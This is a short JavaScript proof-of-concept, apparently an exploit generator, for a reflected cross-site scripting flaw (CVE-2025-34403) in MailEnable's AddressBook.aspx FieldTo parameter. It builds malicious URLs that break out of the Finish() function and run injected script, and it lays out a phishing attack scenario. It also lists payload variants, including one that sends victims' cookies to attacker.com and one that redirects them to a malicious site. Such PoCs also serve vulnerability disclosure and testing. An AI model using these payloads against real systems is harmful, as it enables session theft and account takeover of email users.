CVE-2025-34403 MailEnable AddressBook.aspx 反射型XSS漏洞

// CVE-2025-34403 PoC - MailEnable Reflected XSS in FieldTo parameter // Target: /Mondo/lang/sys/Forms/AddressBook.aspx // Payload terminates Finish() function and executes attacker JavaScript const targetUrl = 'http://<target>/Mondo/lang/sys/Forms/AddressBook.aspx'; const maliciousPayload = '1;}});alert(document.domain);function%20Finish(){//'; const pocUrl = `${targetUrl}?FieldTo=${encodeURIComponent(maliciousPayload)}`; console.log('[+] CVE-2025-34403 PoC Generator'); console.log('[+] Target:', targetUrl); console.log('[+] Malicious URL:', pocUrl); console.log('[+] Payload will terminate Finish() and execute alert(document.domain)'); console.log('\n[*] Attack Scenario:'); console.log('1. Attacker crafts malicious URL with XSS payload in FieldTo parameter'); console.log('2. Attacker tricks victim into clicking the link (e.g., via phishing email)'); console.log('3. When victim attempts to send email, the injected JavaScript executes'); console.log('4. Attacker can steal cookies, redirect user, or perform actions as victim'); // Example attack payload variants: const attackPayloads = [ '1;}});fetch("https://attacker.com/steal?c="+document.cookie);function%20Finish(){//', '1;}});window.location="https://malicious-site.com";function%20Finish(){//', '1;}});document.body.innerHTML="<h1>Pwned</h1>";function%20Finish(){//' ]; console.log('\n[*] Additional Attack Payloads:'); attackPayloads.forEach((p, i) => { console.log(`${i+1}. ${targetUrl}?FieldTo=${encodeURIComponent(p)}`); });